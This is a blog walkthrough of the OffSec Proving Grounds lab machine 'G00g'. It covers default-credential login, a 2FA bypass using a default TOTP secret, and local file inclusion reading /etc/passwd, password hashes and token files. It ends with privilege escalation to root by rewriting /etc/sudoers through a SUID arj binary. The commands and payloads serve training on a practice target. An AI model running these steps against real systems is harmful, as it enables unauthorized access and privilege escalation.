G00g — Proving Grounds [Creator — Offsec]

jaeng
8 min readJul 22, 2021

--

Machine Info:

OS: Linux

Difficulty: Intermediate

Summary of Results

In this walkthrough, we will exploit the target system by guessing weak credentials using in the admin login web portal and bypassing two-factor authentication (2FA) with a default secret key. This brings us to a new vulnerability of the web application, Local File Inclusion (LFI). Abusing LFI reveals to us another user, his password hash, and 2FA secret key. Cracking password hash and using 2FA OTP give us SSH access into the system.

Locally enumerating divulges a misconfigured SUID binary /usr/bin/arj. Taking advantage of the binary, we are able to read and write to /etc/sudoers, which grants us root privilege.

Attack Narrative

  • Enumeration
  • Exploitation
  • Administrative Privilege Escalation

Enumeration

Nmap

We will start with nmap scan.

$ sudo nmap -sV -p- -A -T4 -Pn -n 192.168.113.144
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-23 06:02 AEST
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38

Two services are opening on the target system SSH and HTTP.

Web Enumeration

Next, we’ll open the web application on port 80 (http://192.168.113.144). We are immediately blocked by the authentication protocol.

We then try some common credentials, such as admin:admin admin:password root:root root:toor. The first one works perfectly and lets us pass the authentication portal. However, we are now dealing with 2FA authentication protocol.

2FA Authentication

We need to find the Authentication Token in order to log in… Checking the page source.

<!-- itemir/apache_2fa -->

With some researches, we found that the web server implements Apache Two-Factor (2FA) Authentication with Google Authenticator (apache_2fafrom itemir), which can be found here.

Spending some time to read and understand its function, we’ll see that in order to obtain OTP code (or Authentication Token), we need a secret key.

Exploitation

Default 2FA secret key

The README.md file guides us clearly on how to implement and use the tool.

...
In order to obtain Authentication Token, download Google Authenticator for iOS or Android and create a profile by using ND4LKCSFMUQISO6CBZQATLDP secret key (there are many other applications that provide the same capability with additional features, you can basically use any application that supports TOTP). Once you define a profile, Google Authenticator will create a token that you can use in this form.
If the test is successful, edit apache_credentials and tokens.json files and remove test_user
...

As we can see, there is a default test_user user and a default seceret key

ND4LKCSFMUQISO6CBZQATLDP

which is only used to test functions, after the functions are succesfully tested, we have to remove the default user as well as the default secret key.

If the developers make a critical mistake by using default secret key, we will be able to generate an Authentication Token and bypass 2FA easily.

In order to set up OTP, we need to:

  1. Download Google Authenticator app.
  2. Create a new profile.
  3. Copy and paste the above secret key.
  4. Click Save/Done.

After everything is successfully set up, we should now have a OTP — 6-digit password generates randomly every 30 seconds. To test our theory, we copy and paste the token into the prompt.

Bypass 2FA

It works!. As we can see, we are successfully bypass the 2FA because the developers indeed forgot to change the secret key!.

Local File Inclusion Exploitation

Now, we are logging in, there is drop down menu with three functions ps aux, w, and uptime. Poking into these functions and then clicking “View Result”, which redirect us to a new page /spool/viewresult.php?view=[NAME].txt… this shows the outputs of the previous functions.

As the viewresult.php seems to be vulnerable to LFI, let’s try fetching the /etc/passwd file.

http://192.168.113.144/spool/viewresult.php?view=/etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
Debian-exim:x:106:113::/var/spool/exim4:/usr/sbin/nologin
fox:x:1000:1000::/home/fox:/bin/sh

The output reveals the fox user on this system.

Fail2ban

As we try to brute force SSH password of user fox, we’ll notice that the server implements a security control that block any IP address that fails to provide the correct password.

First three failed attempts.

$ ssh fox@192.168.113.144
Password:
Password:
Password:
fox@192.168.113.144's password:
^C

When we try to log in again.

$ ssh fox@192.168.113.144
ssh: connect to host 192.168.113.144 port 22: Connection refused

This happened because the server implements fail2ban service, which can mitigate bruteforcing attack. We can confirm this by looking at the result of the ps aux function in the admin web portal.

...
root 413 0.0 0.5 48228 10576 ? Ss 15:23 0:00 ...
root 426 0.0 0.3 19308 6424 ? Ss 15:23 0:00 /lib/systemd/systemd-logind
root 433 0.0 1.0 250340 20532 ? Ssl 15:23 0:02 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root 448 0.0 0.0 5612 1744 tty1 Ss+ 15:23 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
...

Back to the LFI and 2FA. Also in the README.md of itemir/apache_2fa, they also state:

...
In order to obtain Authentication Token, download Google Authenticator for iOS or Android and create a profile by using ND4LKCSFMUQISO6CBZQATLDP secret key (there are many other applications that provide the same capability with additional features, you can basically use any application that supports TOTP). Once you define a profile, Google Authenticator will create a token that you can use in this form.
If the test is successful, edit apache_credentials and tokens.json files and remove test_user
...

There areapache_credentials and tokens.jsonfiles, which are interesting because it might contain a hash of users or a new secret key on the system.

Utilizing LFI to read those files.

  1. apache_credentials file.
http://192.168.113.144/spool/viewresult.php?view=/opt/apache_2fa/apache_credentialsadmin:$apr1$pa.RhgPO$18S/xeIW24UvBgjVJJXiC1
fox:$apr1$JWr/q2vH$KXhhk03ukqkoXjbOIoUVp/

2. tokens.json file.

http://192.168.113.144/spool/viewresult.php?view=/opt/apache_2fa/tokens.json{
"admin": "ND4LKCSFMUQISO6CBZQATLDP",
"fox": "RTW2ARWLJZRWUCN54UO22FDQ6I"
}

As expected, we are able to obtain the credentials and secret ket for the fox user. Cracking the hash, we obtain new credentials fox:THERESE . Using them to login to the SSH.

$ ssh fox@192.168.113.144
Password:
Verification code:

Using the previous method with fox secret key, we can also bypass the SSH 2FA and successfully login as fox.

Administrative Privilege Escaltion

SUID files

After obtaning SSH shell, we’ll now enumerate SUID files.

fox@g00g:~$ find / -perm -u=s -exec ls -al {} \; 2>/dev/null...
-rwsr-xr-x 1 root root 1189544 May 1 05:42 /usr/sbin/exim4
-rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
-rwsr-xr-x 1 root root 34896 Apr 22 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
-rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
-rwsr-sr-x 1 root root 386091 Feb 10 2019 /usr/bin/arj

/usr/bin/arj looks appealing to us. Conducting some researches, we found that it allows us to read and write. We first have a look into its options.

fox@g00g:~$ arj
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
Processing archive: /usr/bin/arj
Archive created: 2019-02-10 14:50:08, modified: 2019-02-10 14:50:08

List of frequently used commands and switches. Type ARJ -? for more help.
Usage: ARJ <command> [-<sw> [-<sw>...]] <archive_name> [<file_names>...]
Examples: ARJ a -e archive, ARJ e archive, ARJ l archive *.doc
<Commands>
ac: Add Chapter to chapter archive l: List contents of archive
a: Add files to archive m: Move files to archive
c: Comment archive files t: Test integrity of archive
d: Delete files from archive u: Update files to archive
e: Extract files from archive v: Verbosely list contents of archive
f: Freshen files in archive x: eXtract files with full pathname
<Switches>
c: skip time-stamp Check r: Recurse subdirectories
e: Exclude paths from names u: Update files (new and newer)
f: Freshen existing files v: enable multiple Volumes
g: Garble with password w: assign Work directory
i: with no progress Indicator x: eXclude selected files
m: with Method 0, 1, 2, 3, 4 y: assume Yes on all queries
n: only New files (not exist) hk: enable ARJ-PROTECT damage protection

SUID Abuse

Our current attack vector is to modify the sudoers file and give us sudo permission to execute any command as root.

  1. Archive the sudoers file.
fox@g00g:/dev/shm/privesc$ arj a "sudoers_fox" "/etc/sudoers"
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
Creating archive : a.arj
Adding /etc/sudoers 53.2%
1 file(s)

2. Read archive.

fox@g00g:/dev/shm/privesc$ arj p sudoers_fox.arj
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
Processing archive: sudoers_fox.arj
Archive created: 2021-07-22 18:02:33, modified: 2021-07-22 18:02:33
Extracting etc/sudoers to STDOUT # 0%
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification# User alias specification# Cmnd alias specification# User privilege specification
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:#includedir /etc/sudoers.d
OK
1 file(s)

3. Create and modify the new sudoers .

fox@g00g:/dev/shm/privesc$ nano sudoers
...
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
...
# User privilege specification
root ALL=(ALL:ALL) ALL
fox ALL=(ALL:ALL) NOPASSWD:ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:#includedir /etc/sudoers.d

4. Archive sudoers_fox .

fox@g00g:/dev/shm/privesc$ arj a "sudoers" "sudoers"
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
Creating archive : sudoers.arj
Adding sudoers_fox 53.8%
1 file(s)

5. Write the new sudoers to /etc.

fox@g00g:/dev/shm/privesc$ arj e "sudoers.arj" "/etc"
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
Processing archive: sudoers.arj
Archive created: 2021-07-22 18:12:43, modified: 2021-07-22 18:12:43
ARJ 704 21-07-22 18:12:24, DISK 669 20-02-02 02:41:42
/etc/sudoers exists, Overwrite? y
Extracting sudoers to /etc/sudoers OK
1 file(s)

Successfully executing the above commands will allow us to execute any sudo command under system privlege.

root@g00g:~# id
uid=0(root) gid=0(root) groups=0(root)

--

--